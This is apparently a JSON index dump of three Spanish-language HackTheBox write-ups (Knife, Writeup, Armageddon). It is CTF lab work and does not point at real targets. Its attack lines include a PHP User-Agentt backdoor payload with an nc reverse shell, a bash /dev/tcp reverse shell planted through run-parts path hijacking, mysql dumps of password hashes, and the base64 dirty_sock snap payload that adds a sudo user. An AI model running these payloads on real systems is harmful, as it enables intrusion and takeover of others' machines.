4ubuntu0.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 be:54:9c:a3:67:c3:15:c3:64:71:7f:6a:53:4a:4c:21 (RSA) | 256 bf:8a:3f:d4:06:e9:2e:87:4e:c9:7e:ab:22:0e:c0:ee (ECDSA) |_ 256 1a:de:a1:cc:37:ce:53:bb:1b:fb:2b:0b:ad:b3:f6:84 (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Emergent Medical Idea Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 23.02 seconds Como vemos tiene el puerto 80 abierto, que es el http, veremos en el navegador de que se trata y analizaremos la web\nWappalyzer Usando la extensión wappalizer para identificar las tecnologías usadas en la web, encontramos que la web está alojado en servidor apache 2.4.41 y está construido en php 8.1.\nMethod 1 Al hacer un poco de research encontramos la siguiente vulnerabilidad PHP 8.1.0-dev - \u0026lsquo;User-Agentt\u0026rsquo; Remote Code Execution - PHP webapps Exploit , que se aprovecha del backdoor que fue fue dejado en esta version de PHP , haciendo uso del User-Agent, para ejecutar comandos. El siguiente exploit utiliza una puerta trasera para proporcionar un pseudo shell en el host.\nMethod 2 Pero para no estar solo ejecutando el exploit y obteniendo una shell así de facil, haremos uso de burpsuite y netcat para establecer una shell reversa en nuestra maquina.\nEstableciendo un listener en nuestra maquina\nBurpSuite Como ya sabemos que la vulnerabilidad está en agregar el User-Agent, mandaremos al repeater para ejecutar la consulta agregando User-Agentt: zerodiumsystem('rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2\u0026gt;\u0026amp;1|nc ip puerto \u0026gt;/tmp/f'); reemplazando la ip y el puerto por tu ip y establecido en netcat, este es un payload sacado de PayloadsAllTheThings, intenté con el netcat normal, pero al parecer la maquina tenia otra versión de netcat y la de busybox me funcionó.\nMandamos la consulta y game over, obtenemos una shell con el usuario james y obtenemos el user.txt\nEscalamiento de privilegios Luego de obtener acceso a una Shell con el usuario james, ejecutamos el comando\nsudo -l Para saber que comandos se pueden ejecutar con permisos SUID, esto habilitaría la ejecución con permisos root.\nVemos que se puede ejecutar el comando knife con permisos de root, pero no sabemos de que se trata este comando, entonces listaremos las opciones que tiene este comando y encontramos una opción llamada exec que es un comando de ejecución, con el cual se puede invocar una shell.\nEjecutamos el comando para invocar una shell\nsudo /usr/bin/knife exec --exec \u0026#34;exec \u0026#39;/bin/sh -i\u0026#39;\u0026#34; Game over! Obtenemos acceso root y el root.txt.\nGracias por leer y happy hacking.\n","permalink":"https://blog.s4yhii.com/posts/2021-08-28-knife-htb/","summary":"\u003cp\u003e\u003cstrong\u003eMachine IP\u003c/strong\u003e: 10.10.10.242\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eDATE\u003c/strong\u003e  : 28/08/2021\u003c/p\u003e\n\u003ch2 id=\"matriz-de-la-maquina\"\u003eMatriz de la maquina\u003c/h2\u003e\n\u003cp\u003eEsta matriz nos muestra las características de explotación de la maquina.\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"https://raw.githubusercontent.com/s4yhii/s4yhii.github.io/master/assets/images/htb/knife/matrix.png\"\u003e\u003c/p\u003e\n\u003ch2 id=\"reconocimiento\"\u003eReconocimiento\u003c/h2\u003e\n\u003cp\u003ePrimero hacemos un escaneo de puertos para saber cuales están abiertos y conocer sus servicios correspondientes\u003c/p\u003e\n\u003ch2 id=\"nmap\"\u003eNmap\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-console\" data-lang=\"console\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"go\"\u003e┌──(j3sm0n㉿kali)-[~]\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"go\"\u003e└─$ nmap -sC -sV 10.10.10.242                                                                 148 ⨯ 1 ⚙\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"go\"\u003eStarting Nmap 7.91 ( https://nmap.org ) at 2021-06-07 02:03 EDT\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"go\"\u003eNmap scan report for 10.10.10.242\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"go\"\u003eHost is up (0.11s latency).\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"go\"\u003eNot shown: 998 closed ports\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"go\"\u003ePORT   STATE SERVICE VERSION\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"go\"\u003e22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"go\"\u003e| ssh-hostkey: \n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"go\"\u003e|   3072 be:54:9c:a3:67:c3:15:c3:64:71:7f:6a:53:4a:4c:21 (RSA)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"go\"\u003e|   256 bf:8a:3f:d4:06:e9:2e:87:4e:c9:7e:ab:22:0e:c0:ee (ECDSA)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"go\"\u003e|_  256 1a:de:a1:cc:37:ce:53:bb:1b:fb:2b:0b:ad:b3:f6:84 (ED25519)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"go\"\u003e80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"go\"\u003e|_http-server-header: Apache/2.4.41 (Ubuntu)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"go\"\u003e|_http-title:  Emergent Medical Idea\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"go\"\u003eService Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"go\"\u003eService detection performed. Please report any incorrect results at https://nmap.org/submit/ .\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"go\"\u003eNmap done: 1 IP address (1 host up) scanned in 23.02 seconds\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eComo vemos tiene el puerto 80 abierto, que es el http,  veremos en el navegador de que se trata y analizaremos la web\u003c/p\u003e","title":"HackTheBox Knife"},{"content":" Machine IP : 10.10.10.138\nDATE : 25/07/2021\nMatriz de la maquina Esta matriz nos muestra las características de explotación de la maquina.\nReconocimiento Primero hacemos un escaneo de puertos para saber cuales están abiertos y conocer sus servicios correspondientes.\nNmap Usamos el siguiente comando para escanear todos los puertos de una manera rapida.\nnmap -p- --open -T5 -v -n -Pn 10.10.10.138 Posteriormente utilizamos este comando con los puertos del anterior escaneo para saber las versiones de cada servicio.\nnmap -sC -sV -n -p22,80 -Pn 10.10.10.138 Nos arroja este resultado:\n~  nmap -sC -sV -p22,80 10.10.11.138 -Pn  4s   Host discovery disabled (-Pn). All addresses will be marked \u0026#39;up\u0026#39; and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-26 11:07 EDT Nmap scan report for 10.10.11.138 Host is up. PORT STATE SERVICE VERSION 22/tcp filtered ssh 80/tcp filtered http Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 3.70 seconds Podemos observar dos puertos abiertos, el 22 que pertenece a ssh y el 80 que es un http, procederemos a revisar la web que corre en el servicio http y haremos una busqueda de directorio con gobuster.\nAl parecer el servidor web está protegido a Dos, por eso gobuster no puede hacer su trabajo, revisando robots.txt una ruta muy comun en los ctf, podemos ver que tiene el directorio writeup oculto.\nAl revisar ese directorio solo son writeups de otras maquinas, pero al escanear la página con Wappalizer podemos observar que está hecho con CMS Made Simple, lo cual parece curioso.\nAl investigar exploits en esta tecnología nos encontramos con un SQL Injection Exploit\nEste exploit es un sql injection basado en tiempo, lo que hace es dumpear las credenciales del portal y nos la entrega junto con la contraseña que esta hasheada, pero tiene una opcion para hacer bruteforce a la contraseña.\nLuego de descargarnolos, ejecutamos el exploit con el comando\npython2 exploit.py -u http://10.10.10.138/writeup/ --crack -w /usr/share/wordlists/rockyou.txt Con estas credenciales nos logeamos via ssh con el usuario jkr y obtenemos el user.txt.\nEscalamiento de privilegios Luego de obtener acceso como el usuario jkr, probé con sudo -l para listar los binarios que se pueden ejecutar como sudo, pero no tenia privilegios, luego vi los grupos en los que estaba el usuario jkr y habia uno llamado staff, investigando un poco encontré que este grupo puede crear archivos dentro de usr/local/bin.\nLuego listé los procesos que se ejectuban en la maquina con la herramienta pspy, luego de esto como no encontré nada, pedí ayuda a unos colegas y me dijeron que revise los procesos llamados cuando se iniciaba sesion son ssh, en otra terminal me logeé y al momento de logearme via ssh ocurría esto en la maquina.\nComo podemos observar se ejecuta el comando run-parts sin ruta absoluta, entonces podemos aprovechar para colar un archivo llamado run parts en los directorios del path y autoejecutarse al momento de que lo encuentre, esta vulnerabilidad se llama Path Hijacking.\nHay varias formas de obtener root con esta vulnerabilidad, podemos crear una reverse shell en el archivo run-parts o simplemente asignar permisos SUID a la bash , en este caso crearemos una reverse shell con el comando.\nbash -c \u0026#39;bash -i \u0026gt;\u0026amp; /dev/tcp/10.0.0.1/8080 0\u0026gt;\u0026amp;1\u0026#39; Luego le damos persmisos de ejecución con el comando\nchmod +x run-parts Por ultimos en otra terminal nos logeamos via ssh con el usuario jkr y obtenemos la reverse shell hacia nuestra maquina como el usuario root.\nFinalmente nos metemos al directorio de root y observamos el root.txt.\nConclusiones Fue una buena maquina y nos deja unas cuantas lecciones\u0026hellip;\nNo usar versiones antiguas de las tecnologías web y menos sabiendo que tienen vulnerabilidades criticas.\nNo manejar contraseñas faciles de descrifrar, se sugiere una constraseña con simbolos y mayusculas.\nNo asignar grupos con permisos de escritura como el de staff a un usuario no privilegiado.\nSanitizar el input del usuario para evitar sql injections basados en tiempo.\nGracias por leer, Happy hacking and always try harder!\n","permalink":"https://blog.s4yhii.com/posts/2021-07-25-writeup-htb/","summary":"\u003chr\u003e\n\u003cp\u003e\u003cstrong\u003eMachine IP\u003c/strong\u003e : 10.10.10.138\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eDATE\u003c/strong\u003e  : 25/07/2021\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"matriz-de-la-maquina\"\u003eMatriz de la maquina\u003c/h2\u003e\n\u003cp\u003eEsta matriz nos muestra las características de explotación de la maquina.\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"https://raw.githubusercontent.com/s4yhii/s4yhii.github.io/master/assets/images/htb/writeup/matrix.png\"\u003e\u003c/p\u003e\n\u003ch2 id=\"reconocimiento\"\u003eReconocimiento\u003c/h2\u003e\n\u003cp\u003ePrimero hacemos un escaneo de puertos para saber cuales están abiertos y conocer sus servicios correspondientes.\u003c/p\u003e\n\u003ch2 id=\"nmap\"\u003eNmap\u003c/h2\u003e\n\u003cp\u003eUsamos el siguiente comando para escanear todos los puertos de una manera rapida.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003enmap -p- --open -T5 -v -n -Pn 10.10.10.138\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003ePosteriormente utilizamos este comando con los puertos del anterior escaneo para saber las versiones de cada servicio.\u003c/p\u003e","title":"HackTheBox Writeup"},{"content":" Machine IP : 10.10.10.233\nDATE : 24/07/2021\nMatriz de la maquina Esta matriz nos muestra las características de explotación de la maquina.\nReconocimiento Primero hacemos un escaneo de puertos para saber cuales están abiertos y conocer sus servicios correspondientes.\nNmap ┌──(s4yhii㉿kali)-[~] └─$ nmap -p22,80 -sC -sV -n 10.10.10.233 Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-16 05:46 EDT Nmap scan report for 10.10.10.233 Host is up (0.11s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4 (protocol 2.0) | ssh-hostkey: | 2048 82:c6:bb:c7:02:6a:93:bb:7c:cb:dd:9c:30:93:79:34 (RSA) | 256 3a:ca:95:30:f3:12:d7:ca:45:05:bc:c7:f1:16:bb:fc (ECDSA) |_ 256 7a:d4:b3:68:79:cf:62:8a:7d:5a:61:e7:06:0f:5f:33 (ED25519) 80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16) |_http-generator: Drupal 7 (http://drupal.org) | http-robots.txt: 36 disallowed entries (15 shown) | /includes/ /misc/ /modules/ /profiles/ /scripts/ | /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt | /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt |_/LICENSE.txt /MAINTAINERS.txt |_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16 |_http-title: Welcome to Armageddon | Armageddon Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 12.12 seconds Como podemos obervar tenemos 2 puertos abiertos, el 80 con el servicio http y el 22 ssh, como vemos cuenta con el archivo robots.txt y otros más interesantes, procederemos a inspeccionar en la web.\nComo podemos ver, el servicio web esta corriendo en el framework drupal, revisando en mestasploit encontramos un exploit que nos permite obtener una shell\nLuego de configurar los parametros del payload, obtenemos una shell en metasploit y ahora si podemos listar y ver los archivos del servidor web.\nLuego de inspeccionar cada archivo, dentro del archivo settings.php encontramos estas credenciales.\nCredenciales de la base de datos\narray ( \u0026#39;database\u0026#39; =\u0026gt; \u0026#39;drupal\u0026#39;, \u0026#39;username\u0026#39; =\u0026gt; \u0026#39;drupaluser\u0026#39;, \u0026#39;password\u0026#39; =\u0026gt; \u0026#39;CQHEy@9M*m23gBVj\u0026#39;, \u0026#39;host\u0026#39; =\u0026gt; \u0026#39;localhost\u0026#39;, \u0026#39;port\u0026#39; =\u0026gt; \u0026#39;\u0026#39;, \u0026#39;driver\u0026#39; =\u0026gt; \u0026#39;mysql\u0026#39;, \u0026#39;prefix\u0026#39; =\u0026gt; \u0026#39;\u0026#39;, ), Como indica, son las credenciales de una base de datos, entonces vamos a enumerar las tablas que contiene esa base de datos y posteriormente lo interesante que surga de eso, usando el siguiente comando.\nmysql -u drupaluser -pCQHEy@9M*m23gBVj -D drupal -e \u0026#39;show tables;\u0026#39; mysql -u drupaluser -pCQHEy@9M*m23gBVj -D drupal -e \u0026#39;select * from users;\u0026#39; mysql -u drupaluser -pCQHEy@9M*m23gBVj -D drupal -e \u0026#39;select name,pass from users;\u0026#39; El resultado es el siguiente, encontramos un usuario y una contraseña hasheada del usuario brucetherealadmin.\nbrucetherealadmin $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt nishi $S$DDiENuC75Il7Oc4El2weC1X.cDu5pjl6foNQtkIX.t63MwU6H7Ta test $S$DN3zVAhdweEONvPDq9qvZaElRWXaTEyaABfnm5ciyaGxuj0cjKYs aaa $S$DZ7r4xaW5fCslHhuZ0ICo/LljhMt575vdSkXFUJgbPwo3JDyzlKa juan $S$Dum5w6EtPuSuJsOpkOLqlyKGRn96vKgbXFW90NK4TnUH8tMsLWTC Guardemos el hash en un archivo txt y usamos a nuestro amigo john para que nos salve.\njohn user\\_hash.txt \\--wordlist\\=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 14 password hashes with 5 different salts (Drupal7, $S$ \\[SHA512 256/256 AVX2 4x\\]) Cost 1 (iteration count) is 32768 for all loaded hashes Will run 8 OpenMP threads Press \u0026#39;q\u0026#39; or Ctrl-C to abort, almost any other key for status booboo (?) Obtenemos la contraseña booboo, con esto nos logeamos via ssh y accedemos al usuario brucetherealadmin y obtenemos el usert.txt.\nEscalamiento de privilegios Luego de usar el comando sudo -l.\n[brucetherealadmin@armageddon ~\\]$ sudo \\-l Matching Defaults entries for brucetherealadmin on armageddon: !visiblepw, always\\_set\\_home, match\\_group\\_by\\_gid, always\\_query\\_group\\_plugin, env\\_reset, env\\_keep\\=\u0026#34;COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS\\_COLORS\u0026#34;, env\\_keep+\\=\u0026#34;MAIL PS1 PS2 QTDIR USERNAME LANG LC\\_ADDRESS LC\\_CTYPE\u0026#34;, env\\_keep+\\=\u0026#34;LC\\_COLLATE LC\\_IDENTIFICATION LC\\_MEASUREMENT LC\\_MESSAGES\u0026#34;, env\\_keep+\\=\u0026#34;LC\\_MONETARY LC\\_NAME LC\\_NUMERIC LC\\_PAPER LC\\_TELEPHONE\u0026#34;, env\\_keep+\\=\u0026#34;LC\\_TIME LC\\_ALL LANGUAGE LINGUAS \\_XKB\\_CHARSET XAUTHORITY\u0026#34;, secure\\_path\\=/sbin\\\\:/bin\\\\:/usr/sbin\\\\:/usr/bin User brucetherealadmin may run the following commands on armageddon: (root) NOPASSWD: /usr/bin/snap install \\* C Se puede usar el binario nap install, buscando en google algunas vulnerabilidades de dar permisos de root a estas dependencias, me encuentro con este Github donde está el exploit que nos indica su funcionalidad con el siguiente banner.\nSimply run as is, no arguments, no requirements. If the exploit is successful, the system will have a new user with sudo permissions as follows: username: dirty\\_sock password: dirty\\_sock Significa que agregará el usuario dirty_sock con el mismo usuario y contraseña pero con permisos sudo, y esto podriamos utilizarlo para invocar una shell como root, guardamos el codigo del exploit con este comando.\npython2 -c \u0026#39;print \u0026#34;aHNxcwcAAAAQIVZcAAACAAAAAAAEABEA0AIBAAQAAADgAAAAAAAAAI4DAAAAAAAAhgMAAAAAAAD//////////xICAAAAAAAAsAIAAAAAAAA+AwAAAAAAAHgDAAAAAAAAIyEvYmluL2Jhc2gKCnVzZXJhZGQgZGlydHlfc29jayAtbSAtcCAnJDYkc1daY1cxdDI1cGZVZEJ1WCRqV2pFWlFGMnpGU2Z5R3k5TGJ2RzN2Rnp6SFJqWGZCWUswU09HZk1EMXNMeWFTOTdBd25KVXM3Z0RDWS5mZzE5TnMzSndSZERoT2NFbURwQlZsRjltLicgLXMgL2Jpbi9iYXNoCnVzZXJtb2QgLWFHIHN1ZG8gZGlydHlfc29jawplY2hvICJkaXJ0eV9zb2NrICAgIEFMTD0oQUxMOkFMTCkgQUxMIiA+PiAvZXRjL3N1ZG9lcnMKbmFtZTogZGlydHktc29jawp2ZXJzaW9uOiAnMC4xJwpzdW1tYXJ5OiBFbXB0eSBzbmFwLCB1c2VkIGZvciBleHBsb2l0CmRlc2NyaXB0aW9uOiAnU2VlIGh0dHBzOi8vZ2l0aHViLmNvbS9pbml0c3RyaW5nL2RpcnR5X3NvY2sKCiAgJwphcmNoaXRlY3R1cmVzOgotIGFtZDY0CmNvbmZpbmVtZW50OiBkZXZtb2RlCmdyYWRlOiBkZXZlbAqcAP03elhaAAABaSLeNgPAZIACIQECAAAAADopyIngAP8AXF0ABIAerFoU8J/e5+qumvhFkbY5Pr4ba1mk4+lgZFHaUvoa1O5k6KmvF3FqfKH62aluxOVeNQ7Z00lddaUjrkpxz0ET/XVLOZmGVXmojv/IHq2fZcc/VQCcVtsco6gAw76gWAABeIACAAAAaCPLPz4wDYsCAAAAAAFZWowA/Td6WFoAAAFpIt42A8BTnQEhAQIAAAAAvhLn0OAAnABLXQAAan87Em73BrVRGmIBM8q2XR9JLRjNEyz6lNkCjEjKrZZFBdDja9cJJGw1F0vtkyjZecTuAfMJX82806GjaLtEv4x1DNYWJ5N5RQAAAEDvGfMAAWedAQAAAPtvjkc+MA2LAgAAAAABWVo4gIAAAAAAAAAAPAAAAAAAAAAAAAAAAAAAAFwAAAAAAAAAwAAAAAAAAACgAAAAAAAAAOAAAAAAAAAAPgMAAAAAAAAEgAAAAACAAw\u0026#34; + \u0026#34;A\u0026#34;*4256 + \u0026#34;==\u0026#34;\u0026#39; | base64 -d \u0026gt; privesc.snap Luego de crear el paquete snap de instalacion, lo instalamos con el siguiente comando.\nsudo /usr/bin/snap install --devmode privesc.snap Luego revisames el archivo passwd con el comando cat /etc/passwd\nNos logeamos como dirty_sock , la contraseña por defecto es dirty_sock.\nLuego de estar logeados, ingresamos el comando sudo bash para invocar una shell como root, y luego ya somos root.\nGame over, obtenemos sesion como root y el root.txt.\nConclusiones Fue una maquina agradable con debilidades que, por desgracia, siguen siendo muy comunes por ahí.\nAlgunas reflexiones y conclusiones de este pentest:\nMantener actualizadas las tecnologias usadas para la construcción de tu pagina web.\nNo exponer contraseñas ni usuarios en los archivos de configuración.\nAlmacene sus claves privadas en un repositorio protegido por una autenticación multifactorial. No las dejes \u0026ldquo;en línea\u0026rdquo; si no es necesario y no pienses que nadie las encontrará sólo porque crees que las escondiste bien.\nEvita jugar con la configuración de sudo si no estás seguro de lo que haces y de cómo se puede abusar de ello. Echa un vistazo a GTFObins para empezar\u0026hellip;\nGracias por leer, Happy hacking and always try harder!\nGracias por leer.\n","permalink":"https://blog.s4yhii.com/posts/2021-07-24-armageddon-htb/","summary":"\u003chr\u003e\n\u003cp\u003e\u003cstrong\u003eMachine IP\u003c/strong\u003e : 10.10.10.233\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eDATE\u003c/strong\u003e  : 24/07/2021\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"matriz-de-la-maquina\"\u003eMatriz de la maquina\u003c/h2\u003e\n\u003cp\u003eEsta matriz nos muestra las características de explotación de la maquina.\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"https://raw.githubusercontent.com/s4yhii/s4yhii.github.io/master/assets/images/htb/armageddon/matrix.png\"\u003e\u003c/p\u003e\n\u003ch2 id=\"reconocimiento\"\u003eReconocimiento\u003c/h2\u003e\n\u003cp\u003ePrimero hacemos un escaneo de puertos para saber cuales están abiertos y conocer sus servicios correspondientes.\u003c/p\u003e\n\u003ch2 id=\"nmap\"\u003eNmap\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e┌──\u003cspan class=\"o\"\u003e(\u003c/span\u003es4yhii㉿kali\u003cspan class=\"o\"\u003e)\u003c/span\u003e-\u003cspan class=\"o\"\u003e[\u003c/span\u003e~\u003cspan class=\"o\"\u003e]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e└─$ nmap -p22,80 -sC -sV -n 10.10.10.233 \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eStarting Nmap 7.91 \u003cspan class=\"o\"\u003e(\u003c/span\u003e https://nmap.org \u003cspan class=\"o\"\u003e)\u003c/span\u003e at 2021-06-16 05:46 EDT\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eNmap scan report \u003cspan class=\"k\"\u003efor\u003c/span\u003e 10.10.10.233\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eHost is up \u003cspan class=\"o\"\u003e(\u003c/span\u003e0.11s latency\u003cspan class=\"o\"\u003e)\u003c/span\u003e.\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003ePORT   STATE SERVICE VERSION\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e22/tcp open  ssh     OpenSSH 7.4 \u003cspan class=\"o\"\u003e(\u003c/span\u003eprotocol 2.0\u003cspan class=\"o\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e|\u003c/span\u003e ssh-hostkey: \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e|\u003c/span\u003e   \u003cspan class=\"m\"\u003e2048\u003c/span\u003e 82:c6:bb:c7:02:6a:93:bb:7c:cb:dd:9c:30:93:79:34 \u003cspan class=\"o\"\u003e(\u003c/span\u003eRSA\u003cspan class=\"o\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e|\u003c/span\u003e   \u003cspan class=\"m\"\u003e256\u003c/span\u003e 3a:ca:95:30:f3:12:d7:ca:45:05:bc:c7:f1:16:bb:fc \u003cspan class=\"o\"\u003e(\u003c/span\u003eECDSA\u003cspan class=\"o\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e|\u003c/span\u003e_  \u003cspan class=\"m\"\u003e256\u003c/span\u003e 7a:d4:b3:68:79:cf:62:8a:7d:5a:61:e7:06:0f:5f:33 \u003cspan class=\"o\"\u003e(\u003c/span\u003eED25519\u003cspan class=\"o\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e80/tcp open  http    Apache httpd 2.4.6 \u003cspan class=\"o\"\u003e((\u003c/span\u003eCentOS\u003cspan class=\"o\"\u003e)\u003c/span\u003e PHP/5.4.16\u003cspan class=\"o\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e|\u003c/span\u003e_http-generator: Drupal \u003cspan class=\"m\"\u003e7\u003c/span\u003e \u003cspan class=\"o\"\u003e(\u003c/span\u003ehttp://drupal.org\u003cspan class=\"o\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e|\u003c/span\u003e http-robots.txt: \u003cspan class=\"m\"\u003e36\u003c/span\u003e disallowed entries \u003cspan class=\"o\"\u003e(\u003c/span\u003e\u003cspan class=\"m\"\u003e15\u003c/span\u003e shown\u003cspan class=\"o\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e|\u003c/span\u003e /includes/ /misc/ /modules/ /profiles/ /scripts/ \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e|\u003c/span\u003e /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e|\u003c/span\u003e /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e|\u003c/span\u003e_/LICENSE.txt /MAINTAINERS.txt\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e|\u003c/span\u003e_http-server-header: Apache/2.4.6 \u003cspan class=\"o\"\u003e(\u003c/span\u003eCentOS\u003cspan class=\"o\"\u003e)\u003c/span\u003e 